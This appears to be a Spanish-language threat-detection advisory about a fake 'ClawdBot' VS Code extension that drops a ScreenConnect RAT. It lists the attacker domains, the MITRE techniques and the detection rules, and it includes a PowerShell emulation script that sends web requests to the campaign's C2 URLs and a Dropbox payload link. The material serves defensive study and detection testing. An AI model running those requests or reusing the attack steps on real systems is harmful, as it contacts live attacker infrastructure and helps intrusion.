Extensión de VS Code Fake ClowdBot despliega ScreenConnect RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Una extensión maliciosa de Visual Studio Code llamada ClawdBot Agent se hace pasar por un asistente de codificación con IA, pero instala de manera encubierta una herramienta de acceso remoto ScreenConnect weaponizada en Windows cuando se lanza VS Code. Al iniciar, la extensión descarga un archivo de configuración de un dominio controlado por el atacante, luego descarga y ejecuta un binario falso de VS Code (Code.exe) junto con DLLs de soporte. Como una vía de entrega secundaria, puede obtener el mismo instalador desde un enlace de Dropbox para mantener la disponibilidad de la carga útil. La campaña abusa de una herramienta de soporte de TI confiable para mezclarse con la actividad legítima de administración remota y reducir la sospecha.
Investigación
Los investigadores adquirieron el archivo package.json de la extensión, confirmaron la activación al iniciar VS Code y recuperaron la configuración JSON remota que enumera los componentes maliciosos. El análisis binario mostró módulos ScreenConnect firmados que se comunicaban con un servidor de retransmisión personalizado. Se encontró lógica adicional de respaldo en JavaScript y PowerShell, haciendo referencia a dominios secundarios y a cargas útiles alojadas en Dropbox. Se observaron artefactos en disco bajo la carpeta %TEMP%Lightshot.
Mitigación
Elimine la extensión ClawdBot Agent de VS Code y borre los archivos restantes de la ubicación de instalación de ScreenConnect y del directorio %TEMP%Lightshot. Desinstale el servicio cliente de ScreenConnect y bloquee la conectividad saliente a los dominios de retransmisión e IPs identificados. Rote cualquier clave API o secreto que pueda haber sido ingresado en la extensión.
Respuesta
Detecte la extensión maliciosa monitoreando las instalaciones de extensiones de VS Code y la creación del directorio Lightshot. Alerta sobre la ejecución de binarios Code.exe o ScreenConnect desde rutas no estándar y sobre conexiones salientes a meeting.bulletmailer.net:8041 o la dirección IP asociada. Realice análisis forense del host para confirmar la eliminación de persistencia e identificar cualquier carga útil adicional.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[«<b>Técnica</b> – <b>T1176 Extensiones de Software</b><br/>Los adversarios pueden abusar de extensiones de software para ejecutar código, mantener persistencia o exfiltrar datos.»] class tech_software_ext action tech_ide_ext[«<b>Técnica</b> – <b>T1176.002 Extensiones de IDE</b><br/>Los adversarios usan extensiones de entornos de desarrollo integrados para ejecutar código malicioso u obtener persistencia.»] class tech_ide_ext action tech_user_exec[«<b>Técnica</b> – <b>T1204.002 Ejecución por el Usuario: Archivo Malicioso</b><br/>La víctima ejecuta un archivo malicioso de forma deliberada o inadvertida.»] class tech_user_exec action tech_app_layer[«<b>Técnica</b> – <b>T1071.001 Protocolo de Capa de Aplicación: Protocolos Web</b><br/>Uso de protocolos web estándar (HTTP/HTTPS) para comunicación de comando y control.»] class tech_app_layer action tech_fallback[«<b>Técnica</b> – <b>T1008 Canales de Respaldo</b><br/>Emplea rutas de comunicación alternativas cuando los canales primarios no están disponibles.»] class tech_fallback action tech_powershell[«<b>Técnica</b> – <b>T1059.001 Intérprete de Comandos y Scripts: PowerShell</b><br/>Uso de PowerShell para ejecutar comandos, descargar archivos o interactuar con el sistema.»] class tech_powershell action tech_rat[«<b>Técnica</b> – <b>T1219 Herramientas de Acceso Remoto</b><br/>Uso de software de acceso remoto para mantener control sobre hosts comprometidos.»] class tech_rat action tech_dll_inject[«<b>Técnica</b> – <b>T1055.001 Inyección de Procesos: Inyección de DLL</b><br/>Inyecta una DLL maliciosa en un proceso en ejecución para ejecutar código en su contexto.»] class tech_dll_inject action tech_appcert[«<b>Técnica</b> – <b>T1546.009 Ejecución Activada por Eventos: DLL AppCert</b><br/>Carga lateral de una DLL mediante registro AppCert para que sea cargada por un componente legítimo.»] class tech_appcert action tech_appinit[«<b>Técnica</b> – <b>T1546.010 Ejecución Activada por Eventos: DLL AppInit</b><br/>Carga una DLL maliciosa mediante el mecanismo AppInit_DLLs al iniciar el sistema.»] class tech_appinit action %% Artifact nodes ext_clawdbot[«<b>Herramienta</b> – <b>Nombre</b>: Extensión VS Code ClawdBot Agent<br/><b>Tipo</b>: Extensión IDE»] class ext_clawdbot tool activation_event[«<b>Archivo</b> – <b>Nombre</b>: activationEvents \»onStartupFinished\»»] class activation_event file init_core[«<b>Acción</b> – initCore() se ejecuta al iniciar VS Code»] class init_core action c2_domain[«<b>Servidor</b> – clawdbot.getintwopc.site»] class c2_domain server fallback_urls[«<b>Servidor</b> – URLs de respaldo codificadas»] class fallback_urls server ps_script[«<b>Script</b> – Script PowerShell que descarga payload de respaldo»] class ps_script file lightshot[«<b>Archivo</b> – Lightshot.exe / Lightshot.dll (payload de respaldo)»] class lightshot file darkgpt[«<b>Servidor</b> – darkgptprivate.com»] class darkgpt server code_exe[«<b>Malware</b> – Code.exe (cliente ScreenConnect armado)»] class code_exe file relay_server[«<b>Servidor</b> – meeting.bulletmailer.net:8041»] class relay_server server dwrite_dll[«<b>Archivo</b> – DWrite.dll (DLL maliciosa que imita DirectWrite)»] class dwrite_dll file screenconnect_proc[«<b>Proceso</b> – Componente ScreenConnect»] class screenconnect_proc process %% Connections ext_clawdbot –>|usa| tech_software_ext ext_clawdbot –>|usa| tech_ide_ext ext_clawdbot –>|define| activation_event activation_event –>|activa| init_core init_core –>|obtiene configuración de| c2_domain c2_domain –>|proporciona| tech_app_layer init_core –>|puede usar respaldo| fallback_urls fallback_urls –>|entrega| ps_script ps_script –>|ejecuta| tech_powershell tech_powershell –>|descarga| lightshot lightshot –>|sirve como| tech_user_exec lightshot –>|entregado como| code_exe code_exe –>|usa| tech_rat code_exe –>|contacta| relay_server relay_server –>|habilita| tech_app_layer code_exe –>|carga| dwrite_dll dwrite_dll –>|registrada para| tech_appcert dwrite_dll –>|registrada para| tech_appinit dwrite_dll –>|inyectada vía| tech_dll_inject tech_dll_inject –>|apunta a| screenconnect_proc screenconnect_proc –>|ejecuta| dwrite_dll tech_fallback –>|cubre| fallback_urls
Flujo de Ataque
Detecciones
Software Alternativo de Acceso/ Gestión Remota (vía creation_proceso)
Ver
Descargar o Cargar vía Powershell (vía cmdline)
Ver
Software Alternativo de Acceso/ Gestión Remota (vía auditoría)
Ver
Software Alternativo de Acceso/ Gestión Remota (vía sistema)
Ver
IOCs (DestinationIP) para detectar: Instala una extensión falsa Clawdbot VS Code y ScreenConnect RAT
Ver
IOCs (SourceIP) para detectar: Instala una extensión falsa Clawdbot VS Code y ScreenConnect RAT
Ver
IOCs (HashSha256) para detectar: Instala una extensión falsa Clawdbot VS Code y ScreenConnect RAT
Ver
IOCs (Emails) para detectar: Instala una extensión falsa Clawdbot VS Code y ScreenConnect RAT
Ver
Instalaciones de Extensión Falsa ClawdBot VS Code ScreenConnect RAT [Creación de Procesos de Windows]
Ver
Detección de Instalación de Fake Clawdbot VS Code Extension Instalando ScreenConnect RAT [Conexión de Red de Windows]
Ver
Ejecución de Simulación
Requisito: Debe haber pasado la verificación previa de Telemetría y Línea de Base.
Narrativa de Ataque & Comandos
- El atacante publica una extensión trojanizada de VS Code titulado “Clawdbot Helper”.
- La víctima instala la extensión a través del Marketplace de VS Code, que ejecuta un
postinstallscript que silenciosamente descarga el cliente ScreenConnect (ScreenConnect.Client.exe) en%APPDATA%ScreenConnect. - Inmediatamente después de la instalación, el cliente inicia tres conexiones TCP salientes a los dominios C2 controlados por el atacante para recuperar cargas útiles adicionales y reportar el estado del host.
- Las conexiones salientes generan registros de Event ID 3 de Sysmon que coinciden con la
dest_iplista, cumpliendo con la regla de detección.
Script de Prueba de Regresión
# --------------------------------------------------------------
# Rutina simulada de post instalación de extensión maliciosa de VS Code
# --------------------------------------------------------------
# Paso 1 – Dejar un binario ScreenConnect simulado (simulado)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Crear un binario de marcador inofensivo (por ejemplo, una copia de notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# Paso 2 – Lanzar conexiones salientes a cada host C2
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# Solicitud web silenciosa; -UseBasicParsing evita mensajes de UI
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Se contactó a $url"
} catch {
Write-Host "Falló el contacto a $url (esperado en un sandbox)."
}
}
# Fin del script – en este punto Sysmon debería haber registrado tres
# eventos NetworkConnect cuyos valores DestinationIp coinciden con la regla.
Comandos de Limpieza
# --------------------------------------------------------------
# Eliminar artefactos simulados
# --------------------------------------------------------------
# Detener cualquier trabajo de PowerShell en curso (ninguno en este script simple)
Get-Job | Remove-Job -Force
# Borrar la carpeta cliente ScreenConnect simulada
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# Opcionalmente, borrar el buffer de Sysmon (requiere admin)
# sysmon -c